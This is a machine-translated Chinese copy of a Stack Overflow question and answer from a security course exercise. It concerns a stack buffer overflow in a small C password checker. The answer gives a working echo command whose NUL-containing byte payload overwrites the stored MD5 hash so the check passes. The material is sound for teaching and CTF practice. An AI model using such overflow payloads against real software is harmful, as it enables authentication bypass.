[英]Stack-based buffer overflow - challenge in C using scanf with limited input
作为安全性CS课程的一部分,我的课程被赋予了利用漏洞利用堆栈/缓冲区溢出来破坏密码检查的任务。 具有此漏洞的代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <openssl/md5.h>
int main(int argc, char **argv) {
char correct_hash[16] = {
0xd0, 0xf9, 0x19, 0x94, 0x4a, 0xf3, 0x10, 0x92,
0x32, 0x98, 0x11, 0x8c, 0x33, 0x27, 0x91, 0xeb
};
char password[16];
printf("Insert your password: ");
scanf("%29s", password);
MD5(password, strlen(password), password);
if (memcmp(password, correct_hash, 16) == 0) {
printf("Correct Password!\n");
} else {
printf("Wrong Password, sorry!\n");
}
return 0;
}
我理解经典的“堆栈粉碎”原则(我认为),这里有一个明显的溢出漏洞,通过在提示时输入长度超过15个字符的密码,可以覆盖correct_hash
数组的前14个字节。 但是,我不明白如何利用它来允许memcmp
检查通过,完成挑战。 我发现/尝试过的一些事情:
将password
设置为等效于correct_hash
不起作用,因为password
使用MD5()
进行哈希处理MD5()
无论如何设置两者是不可能的,因为scanf
会将一个唯一的ASCII NUL
字符恰好插入到可用的30个空格中,这意味着两个数组永远不会是等价的。另外(据我所知) NUL
字符不能插入scanf
字符串的中间)。
使用scanf
覆盖最大字节数(将始终附加NUL
字符)意味着correct_hash
的最后3个字节将始终为0x00 0x91 0xeb
。 尝试随机生成一个16个字符的密码然后散列到具有这些最后3个字节/字符的东西(在计算上很容易,因为使用了MD5)不起作用,但是,由于使用了strlen(password)
(在MD5()
的调用中,只有在完成NUL
字符的长度计数时才会给出值29而不是像16那样方便的东西。 这意味着,不是对16个字符的密码进行散列以产生预期的输出,而是对MD5()
的调用将从password
哈希16个字符,然后从correct_hash
13个字符, correct_hash
产生不同的最终哈希值。
0x00 0x91 0xeb
。 我不确定通过随机MD5哈希计算找到这个是多么可行,但它并不像我的机会那样。 一些注释(在上面的解释中提到):
scanf
限制为29个字符的字符串,但会附加一个ASCII NUL
字符,允许覆盖总共30个字符( password
数组中的16个,来自correct_hash
数组中的14个)。
ASCII NUL
字符不能通过scanf
输入,因此调用MD5()
的strlen(password)
MD5()
(如果使用的是最大密码长度)将为29。
所以这里的问题是,我怎么能这样做呢? 我错过了一些非常明显的东西? 随机生成是可行的解决方案,甚至是唯一的解决方案吗?
解决方案必须使用缓冲区溢出(否则我想我可以做一些事情,比如预加载总是返回0的memcmp
),并且必须可以作为shell脚本执行(如果这有任何相关性)。
只是将评论合并到这里的答案:
问题的关键在于, scanf
将乐意接受零字节作为字符串的一部分,并且不会将其视为空格(因此,不会停止将更多字节读入字符串)。
重定向文件或使用echo -ne "\\x00" | program
echo -ne "\\x00" | program
等。 重定向输入文件可能是此处的首选方式。
我使用的最后一个命令是: echo -ne "\\x49\\x5a\\x4e\\x52\\x48\\x49\\x41\\x56\\x5a\\x43\\x54\\x52\\x51\\x4c\\x43\\x00\\x81\\xae\\xf3\\xdf\\xa2\\x45\\xb1\\x57\\x19\\xb3\\xa9\\xb8\\x7d\\x00\\x91\\xeb" | ./vulnerable
echo -ne "\\x49\\x5a\\x4e\\x52\\x48\\x49\\x41\\x56\\x5a\\x43\\x54\\x52\\x51\\x4c\\x43\\x00\\x81\\xae\\xf3\\xdf\\xa2\\x45\\xb1\\x57\\x19\\xb3\\xa9\\xb8\\x7d\\x00\\x91\\xeb" | ./vulnerable
地方,第一组16个字节(直到并包括第一个\\x00
)是一个随机生成的字符串,当进行散列时产生第二组16字节,并以所需的\\x00\\x91\\xeb
结尾。 最后3个字节都没有被复制,但是我把它们留下来显示字符串和哈希。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.